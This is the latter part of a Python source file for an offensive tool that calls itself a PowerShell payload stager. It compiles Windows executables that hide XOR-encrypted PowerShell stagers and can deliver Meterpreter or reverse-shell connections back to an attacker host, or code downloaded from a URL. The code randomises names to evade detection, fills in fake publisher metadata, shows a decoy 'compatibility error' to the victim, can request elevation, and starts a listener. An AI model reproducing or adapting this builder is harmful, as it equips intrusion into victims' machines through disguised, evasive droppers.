# Generates injection payloads either from templates or from path
2417
def generate_injection_payload():
2418
2419
# Create an empty holder for an embedded payload
2420
payload_embedded = ""
2421
2422
# Check what to generate
2423
if Utility.get_configuration_value(conf_name.PATH) != None:
2424
with open(Utility.get_configuration_value(conf_name.PATH), "r") as _file:
2425
payload_embedded = Utility.ps_base64encode(_file.read())
2426
2427
elif Utility.get_configuration_value(conf_name.METERPRETER):
2428
payload_embedded = Utility.ps_base64encode(
2429
generate_injection(
2430
Utility.replace_all(
2431
shellcodes[(shellcode.REVERSE_TCP_32 if Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32 else shellcode.REVERSE_TCP_64)],
2432
("[_LPORT_]", "[_LHOST_]"),
2433
Utility.local_address_to_binary_array_string(Utility.get_configuration_value(conf_name.LHOST), Utility.get_configuration_value(conf_name.LPORT))
2434
), Utility.get_configuration_value(conf_name.TARGET)
2435
)
2436
)
2437
2438
elif Utility.get_configuration_value(conf_name.REVERSE_SHELL):
2439
payload_embedded = Utility.ps_base64encode(
2440
generate_reverse_shell(Utility.get_configuration_value(conf_name.LHOST), Utility.get_configuration_value(conf_name.LPORT))
2441
)
2442
2443
if Utility.get_configuration_value(conf_name.GENERATE):
2444
with open(Utility.get_configuration_value(conf_name.OUTPUT), "w") as dump:
2445
dump.write(generate_encoded_command(payload_embedded))
2446
Print.add_name_value("File signature", hashlib.md5(open(Utility.get_configuration_value(conf_name.OUTPUT), "rb").read()).hexdigest(), Print.info)
2447
Print.success("Payload generated : " + Utility.get_configuration_value(conf_name.OUTPUT))
2448
sys.exit()
2449
2450
return payload_embedded
2451
2452
2453
# Generates source
2454
def generate_source():
2455
global c_source, c_source_embedded, c_source_mb
2456
2457
if Utility.get_configuration_value(conf_name.URL) != None:
2458
2459
val_key = []
2460
val_str = [
2461
ord(x) for x in generate_main(
2462
generate_encoded_command(
2463
Utility.ps_base64encode(
2464
generate_base64_decoder(Utility.get_configuration_value(conf_name.URL))
2465
)
2466
)
2467
)
2468
]
2469
2470
for i in range(len(val_str)):
2471
val_key.append(random.randint(0, 255))
2472
val_str[i] = val_str[i] ^ val_key[i]
2473
2474
Print.add_name_value("Payload size", str(len(val_str)) + " bytes", Print.info)
2475
2476
return c_source.replace(
2477
"[_VAR_STR_]",
2478
Utility.dynamic_variable()
2479
).replace(
2480
"[_VAL_STR_]",
2481
",".join(str(x) for x in val_str) + ",0" # append \0 for zero termination (0 xor 0 equals 0)
2482
).replace(
2483
"[_VAR_KEY_]",
2484
Utility.dynamic_variable()
2485
).replace(
2486
"[_VAL_KEY_]",
2487
",".join(str(x) for x in val_key) + ",0" # append \0 for zero termination (0 xor 0 equals 0)
2488
).replace(
2489
"[_VAR_X_]",
2490
Utility.dynamic_variable()
2491
).replace(
2492
"[_VAR_SI_]",
2493
Utility.dynamic_variable()
2494
).replace(
2495
"[_VAR_PI_]",
2496
Utility.dynamic_variable()
2497
).replace(
2498
"[_MB_]",
2499
c_source_mb.replace(
2500
"[_VAL_MB_TITLE_]",
2501
Utility.get_configuration_value(conf_name.FAKE_ERROR)[0]
2502
).replace(
2503
"[_VAL_MB_CONTENT_]",
2504
Utility.get_configuration_value(conf_name.FAKE_ERROR)[1]
2505
) if (Utility.get_configuration_value(conf_name.FAKE_ERROR) != None) else "return 0;"
2506
)
2507
else:
2508
2509
# Generate a temporary file name for later use
2510
remote_tmp_file = Utility.dynamic_variable()
2511
encryption_key = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(random.randint(24, 48)))
2512
2513
Print.add_name_value("Temp file", remote_tmp_file, Print.info)
2514
Print.add_name_value("Encryption key", encryption_key, Print.info)
2515
2516
val_key = []
2517
val_str = [
2518
ord(x) for x in generate_main(
2519
generate_encoded_command(
2520
Utility.ps_base64encode(
2521
generate_encoded_command(
2522
generate_xor_decryptor(
2523
"$env:temp+'\\" + remote_tmp_file + "'",
2524
encryption_key
2525
)
2526
# Remove temp file (note no plus-sign after temp)
2527
+ (";Remove-Item $env:temp'\\" + remote_tmp_file + "'")
2528
)
2529
)
2530
)
2531
)
2532
]
2533
2534
val_key_emb = []
2535
val_str_emb = [ord(x) for x in generate_injection_payload()]
2536
2537
for i in range(len(val_str)):
2538
val_key.append(random.randint(0, 255))
2539
val_str[i] = val_str[i] ^ val_key[i]
2540
2541
# Initial encryption with generated key
2542
for i in range(len(val_str_emb)):
2543
val_str_emb[i] = val_str_emb[i] ^ ord(encryption_key[i % len(encryption_key)])
2544
2545
# Second encryption with stored key
2546
for i in range(len(val_str_emb)):
2547
val_key_emb.append(random.randint(0, 255))
2548
val_str_emb[i] = val_str_emb[i] ^ val_key_emb[i]
2549
2550
Print.add_name_value("Payload size", str(len(val_str)) + " bytes", Print.info)
2551
Print.add_name_value("Embedded size", str(len(val_str_emb)) + " bytes", Print.info)
2552
2553
return c_source_embedded.replace(
2554
"[_VAR_PATH_]",
2555
Utility.dynamic_variable()
2556
).replace(
2557
"[_VAR_TEMP_]",
2558
Utility.dynamic_variable()
2559
).replace(
2560
"[_TMP_FILENAME_]",
2561
remote_tmp_file
2562
).replace(
2563
"[_VAR_FILE_]",
2564
Utility.dynamic_variable()
2565
).replace(
2566
"[_VAR_STR_STG_]",
2567
Utility.dynamic_variable()
2568
).replace(
2569
"[_VAL_STR_STG_]",
2570
",".join(str(x) for x in val_str) + ",0" # append \0 for zero termination (0 xor 0 equals 0) when using strings ONLY
2571
).replace(
2572
"[_VAR_KEY_STG_]",
2573
Utility.dynamic_variable()
2574
).replace(
2575
"[_VAL_KEY_STG_]",
2576
",".join(str(x) for x in val_key) + ",0" # append \0 for zero termination (0 xor 0 equals 0) when using strings ONLY
2577
).replace(
2578
"[_VAR_STR_EMB_]",
2579
Utility.dynamic_variable()
2580
).replace(
2581
"[_VAL_STR_EMB_]",
2582
",".join(str(x) for x in val_str_emb)
2583
).replace(
2584
"[_VAR_KEY_EMB_]",
2585
Utility.dynamic_variable()
2586
).replace(
2587
"[_VAL_KEY_EMB_]",
2588
",".join(str(x) for x in val_key_emb)
2589
).replace(
2590
"[_VAR_X_]",
2591
Utility.dynamic_variable()
2592
).replace(
2593
"[_VAR_SI_]",
2594
Utility.dynamic_variable()
2595
).replace(
2596
"[_VAR_PI_]",
2597
Utility.dynamic_variable()
2598
).replace(
2599
"[_MB_]",
2600
c_source_mb.replace(
2601
"[_VAL_MB_TITLE_]",
2602
Utility.get_configuration_value(conf_name.FAKE_ERROR)[0]
2603
).replace(
2604
"[_VAL_MB_CONTENT_]",
2605
Utility.get_configuration_value(conf_name.FAKE_ERROR)[1]
2606
) if (Utility.get_configuration_value(conf_name.FAKE_ERROR) != None) else "return 0;"
2607
)
2608
2609
2610
# Compiler for c-source
2611
def compile_source():
2612
2613
# Get output path
2614
output = Utility.get_configuration_value(conf_name.OUTPUT)
2615
2616
# Define temporary file names
2617
temp_name_sourcecode = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".c"
2618
temp_name_manifest = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".manifest"
2619
temp_name_rc = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".rc"
2620
temp_name_o = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".o"
2621
2622
# TODO :: Add option to specify this later
2623
# Gather resource information
2624
rc_icon = ("icon ICON \"" + os.path.abspath(Utility.get_configuration_value(conf_name.ICON)) + "\"") if (
2625
Utility.get_configuration_value(conf_name.ICON) != None
2626
and os.path.isfile(Utility.get_configuration_value(conf_name.ICON))
2627
) else ""
2628
rc_elevation = windres_manifest_elevation if (
2629
Utility.get_configuration_value(conf_name.ELEVATION)
2630
) else ""
2631
rc_architecture = "X86" if Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32 else "amd64"
2632
rc_company_name = names.get_last_name() + " INC."
2633
rc_description = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit."
2634
rc_internal_name = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10))
2635
rc_legal_name = names.get_full_name()
2636
rc_original_filename = output.split("/")[-1:][0]
2637
rc_product_name = rc_internal_name
2638
2639
2640
source_content = generate_source()
2641
2642
manifest_content = windres_manifest.replace(
2643
"[_RC_ARCHITECTURE_]" , rc_architecture
2644
).replace(
2645
"[_RC_APPLICATION_NAME_]" , rc_internal_name
2646
).replace(
2647
"[_RC_ELEVATION_]" , rc_elevation
2648
)
2649
2650
resource_content = windres_resource.replace(
2651
"[_RC_ICON_]" , rc_icon
2652
).replace(
2653
"[_RC_MANIFEST_FILE_]" , temp_name_manifest
2654
).replace(
2655
"[_RC_COMPANY_NAME_]" , rc_company_name
2656
).replace(
2657
"[_RC_DESCRIPTION_]" , rc_description
2658
).replace(
2659
"[_RC_INTERNAL_NAME_]" , rc_internal_name
2660
).replace(
2661
"[_RC_LEGAL_NAME_]" , rc_legal_name
2662
).replace(
2663
"[_RC_OUTPUT_NAME_]" , rc_original_filename
2664
).replace(
2665
"[_RC_APPLICATION_NAME_]" , rc_product_name
2666
)
2667
2668
if Utility.get_configuration_value(conf_name.SOURCE_ONLY):
2669
2670
print(source_content)
2671
sys.exit()
2672
2673
else:
2674
2675
# Create sourcecode file
2676
with open(temp_name_sourcecode, "w") as _file:
2677
_file.write(source_content)
2678
2679
# Create manifest file
2680
with open(temp_name_manifest, "w") as _file:
2681
_file.write(manifest_content)
2682
2683
# Create resource file
2684
with open(temp_name_rc, "w") as _file:
2685
_file.write(resource_content)
2686
2687
if (
2688
Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32
2689
and (os.system("i686-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && i686-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0)
2690
) or (
2691
Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN64
2692
and (os.system("x86_64-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && x86_64-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0)
2693
):
2694
Print.add_name_value("File signature", hashlib.md5(open(output, "rb").read()).hexdigest(), Print.info)
2695
Print.add_name_value("Payload generated", output, Print.success)
2696
2697
else:
2698
Print.add_name_value("Failed to generate", output, Print.error)
2699
2700
# Clean up from temporary files
2701
os.system("/bin/rm -f " + temp_name_sourcecode)
2702
os.system("/bin/rm -f " + temp_name_manifest)
2703
os.system("/bin/rm -f " + temp_name_rc)
2704
os.system("/bin/rm -f " + temp_name_o)
2705
2706
2707
# Print program header in terminal
2708
def print_header():
2709
Print.text("\033[38;5;160m" + r" ___ __ _ " + "\033[0m")
2710
Print.text("\033[38;5;161m" + r" / _ \_____ _____ _ __/ _\ |_ __ _ __ _ ___ _ __ " + "\033[0m")
2711
Print.text("\033[38;5;162m" + r" / /_)/ _ \ \ /\ / / _ \ '__\ \| __/ _` |/ _` |/ _ \ '__|" + "\033[0m")
2712
Print.text("\033[38;5;163m" + r"/ ___/ (_) \ V V / __/ | _\ \ || (_| | (_| | __/ | " + "\033[0m")
2713
Print.text("\033[38;5;164m" + r"\/ \___/ \_/\_/ \___|_| \__/\__\__,_|\__, |\___|_| " + "\033[0m")
2714
Print.text("\033[38;5;130m" + r" _ __ _ _ " + "\033[38;5;164m|___/\033[38;5;130m " + "\033[0m")
2715
Print.text("\033[38;5;131m" + r" | '_ \| | | | " + "\033[0m")
2716
Print.text("\033[38;5;132m" + r" _| |_) | |_| | A payload stager using PowerShell " + "\033[0m")
2717
Print.text("\033[38;5;133m" + r"(_) .__/ \__, | Created by z0noxz " + "\033[0m")
2718
Print.text("\033[38;5;134m" + r" |_| |___/ " + "\033[0m")
2719
2720
2721
def main(argv):
2722
global help_notes
2723
2724
# Create shortcut for get_configuration_value
2725
GET = lambda x: Utility.get_configuration_value(x)
2726
2727
# Define default configuration
2728
local_configuration = {
2729
conf_name.URL : None,
2730
conf_name.PATH : None,
2731
conf_name.OUTPUT : None,
2732
conf_name.TARGET : None,
2733
conf_name.LHOST : None,
2734
conf_name.LPORT : None,
2735
conf_name.FAKE_ERROR : None,
2736
conf_name.ICON : None,
2737
2738
conf_name.OBFUSCATION : False,
2739
conf_name.REVERSE_SHELL : False,
2740
conf_name.METERPRETER : False,
2741
conf_name.LISTENER : False,
2742
conf_name.GENERATE : False,
2743
conf_name.SOURCE_ONLY : False,
2744
conf_name.ELEVATION : False,
2745
}
2746
2747
print_header()
2748
Print.text()
2749
2750
# Replace placeholders in help notes
2751
help_notes = help_notes.replace("[_CHECK_i686_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-gcc") else "\033[91mmissing\033[0m")
2752
help_notes = help_notes.replace("[_CHECK_x86_64_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-gcc") else "\033[91mmissing\033[0m")
2753
help_notes = help_notes.replace("[_CHECK_i686_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-windres") else "\033[91mmissing\033[0m")
2754
help_notes = help_notes.replace("[_CHECK_x86_64_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-windres") else "\033[91mmissing\033[0m")
2755
2756
# Fix for dynamic flag/value argument
2757
for i, opt in enumerate(argv):
2758
if opt == "--fake-error": argv[i] = "--fake-error="
2759
2760
# Read configuration from arguments
2761
try:
2762
opts, args = getopt.getopt(
2763
argv,
2764
"hu:p:mro:t:eg",
2765
[
2766
"help",
2767
"url=",
2768
"path=",
2769
"meterpreter",
2770
"reverse-shell",
2771
"output=",
2772
"target=",
2773
"lhost=",
2774
"lport=",
2775
"use-elevation",
2776
"listener",
2777
"generate",
2778
"fake-error=",
2779
"source-only",
2780
"obfuscation",
2781
"icon=",
2782
]
2783
)
2784
except getopt.GetoptError as e:
2785
print(help_notes)
2786
Print.error(str(e))
2787
sys.exit(2)
2788
for opt, arg in opts:
2789
if opt in ("-h", "--help"):
2790
print(help_notes)
2791
sys.exit()
2792
2793
elif opt in ("-u", "--url"):
2794
local_configuration[conf_name.URL] = arg if Utility.is_url(arg) else None
2795
2796
elif opt in ("-p", "--path"):
2797
local_configuration[conf_name.PATH] = arg if os.path.isfile(arg) else None
2798
2799
elif opt in ("-m", "--meterpreter"):
2800
local_configuration[conf_name.METERPRETER] = True
2801
2802
elif opt in ("-r", "--reverse-shell"):
2803
local_configuration[conf_name.REVERSE_SHELL] = True
2804
2805
elif opt in ("-o", "--output"):
2806
local_configuration[conf_name.OUTPUT] = arg
2807
2808
elif opt in ("-t", "--target"):
2809
local_configuration[conf_name.TARGET] = {
2810
"win32" : os_target.WIN32,
2811
"win64" : os_target.WIN64,
2812
}.get(arg.lower(), None)
2813
2814
elif opt in ("--lhost"):
2815
local_configuration[conf_name.LHOST] = arg if Utility.is_ipv4_address(arg) else None
2816
2817
elif opt in ("--lport"):
2818
local_configuration[conf_name.LPORT] = arg if (arg.isdigit() and int(arg) >= 1 and int(arg) <= 65535) else None
2819
2820
elif opt in ("-e", "--use-elevation"):
2821
local_configuration[conf_name.ELEVATION] = True
2822
2823
elif opt in ("--listener"):
2824
local_configuration[conf_name.LISTENER] = True
2825
2826
elif opt in ("-g", "--generate"):
2827
local_configuration[conf_name.GENERATE] = True
2828
2829
elif opt in ("--fake-error"):
2830
local_configuration[conf_name.FAKE_ERROR] = (
2831
[arg.split("::")[0], "::".join(arg.split("::")[1:])] if (
2832
len(arg.split("::")) >= 2
2833
) else ["Application compatibility error", "The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact he software publisher."])
2834
2835
elif opt in ("--source-only"):
2836
local_configuration[conf_name.SOURCE_ONLY] = True
2837
2838
elif opt in ("--obfuscation"):
2839
local_configuration[conf_name.OBFUSCATION] = True
2840
2841
elif opt in ("--icon"):
2842
local_configuration[conf_name.ICON] = arg
2843
2844
# Load configuration
2845
Utility.load_configuration(local_configuration)
2846
2847
# Check if mingw32 GCC exists
2848
if (not Utility.which("i686-w64-mingw32-gcc")) or (not Utility.which("x86_64-w64-mingw32-gcc")):
2849
Print.error("mingw GCC does not seem to be installed on your system")
2850
sys.exit(2)
2851
2852
# Check if mingw32 Windres exists
2853
if (not Utility.which("i686-w64-mingw32-windres")) or (not Utility.which("x86_64-w64-mingw32-windres")):
2854
Print.error("mingw WINDRES does not seem to be installed on your system")
2855
sys.exit(2)
2856
2857
# Check if listener option is selected
2858
if GET(conf_name.LISTENER):
2859
if GET(conf_name.LPORT) != None:
2860
Print.add_name_value("Listener", "Listener will open automatically", Print.info)
2861
else:
2862
Print.error("LPORT must be specified when creating a listener")
2863
sys.exit(2)
2864
2865
# Check if no method is selected
2866
if (
2867
[
2868
GET(conf_name.URL) != None,
2869
GET(conf_name.PATH) != None,
2870
GET(conf_name.METERPRETER),
2871
GET(conf_name.REVERSE_SHELL),
2872
2873
# Include listener in this check
2874
GET(conf_name.LISTENER),
2875
].count(True) == 0
2876
):
2877
Print.error("A method parameter is missing, or malformed. Choose one of:")
2878
Print.text(" --" + "\n --".join(["url", "path", "meterpreter", "reverse-shell"]))
2879
sys.exit(2)
2880
2881
# Check if more than one method is selected
2882
elif (
2883
[
2884
GET(conf_name.URL) != None,
2885
GET(conf_name.PATH) != None,
2886
GET(conf_name.METERPRETER),
2887
GET(conf_name.REVERSE_SHELL),
2888
].count(True) > 1
2889
):
2890
Print.error("Only one method parameter is allowed")
2891
sys.exit(2)
2892
2893
# Check if a method is selected
2894
elif (
2895
[
2896
GET(conf_name.URL) != None,
2897
GET(conf_name.PATH) != None,
2898
GET(conf_name.METERPRETER),
2899
GET(conf_name.REVERSE_SHELL),
2900
].count(True) == 1
2901
):
2902
2903
# Check if target is missong
2904
if GET(conf_name.TARGET) == None:
2905
Print.error("--target must be either win32 or win64")
2906
sys.exit(2)
2907
else:
2908
Print.add_name_value("Target", ("WIN32" if GET(conf_name.TARGET) == os_target.WIN32 else "WIN64").lower(), Print.info)
2909
2910
# Check if output is missing
2911
if GET(conf_name.OUTPUT) == None:
2912
Print.error("'output' parameter is missing, or empty")
2913
sys.exit(2)
2914
else:
2915
Print.add_name_value("Output", GET(conf_name.OUTPUT), Print.info)
2916
2917
# Check if elevation is selected
2918
if (GET(conf_name.ELEVATION)):
2919
Print.add_name_value("Invoke with elevation", "Yes", Print.info)
2920
2921
# Check if URL method is selected
2922
if GET(conf_name.URL) != None:
2923
Print.add_name_value("URL", GET(conf_name.URL), Print.info)
2924
2925
# Check if PATH method is selected
2926
elif GET(conf_name.PATH) != None:
2927
Print.add_name_value("PATH", GET(conf_name.PATH), Print.info)
2928
2929
# Check if METERPRETER method is selected
2930
elif GET(conf_name.METERPRETER):
2931
if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None:
2932
Print.add_name_value("Meterpreter listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info)
2933
else:
2934
Print.error("LHOST and LPORT must be specified when generating a meterpreter payload")
2935
sys.exit(2)
2936
2937
# Check if REVERSE_SHELL method is selected
2938
elif GET(conf_name.REVERSE_SHELL):
2939
if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None:
2940
Print.add_name_value("Reverse shell listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info)
2941
else:
2942
Print.error("LHOST and LPORT must be specified when generating a reverse shell payload")
2943
sys.exit(2)
2944
2945
# Print working status
2946
sys.stdout.write("\b" * (Print.text("Working...", True) + 2))
2947
2948
# Compile source
2949
compile_source()
2950
2951
# Print buffered output after success
2952
Print.name_value_print()
2953
2954
# Invoke listener
2955
if GET(conf_name.LISTENER) and GET(conf_name.LPORT):
2956
Listener("0.0.0.0", int(GET(conf_name.LPORT))).start()
2957
2958
# Prevent ctrl+Z from exiting
2959
signal.signal(signal.SIGTSTP, (lambda *a: Print.text(Print.wipe(back=True), True)))
2960
2961
if __name__ == "__main__":
2962
main(sys.argv[1:])
2963
2964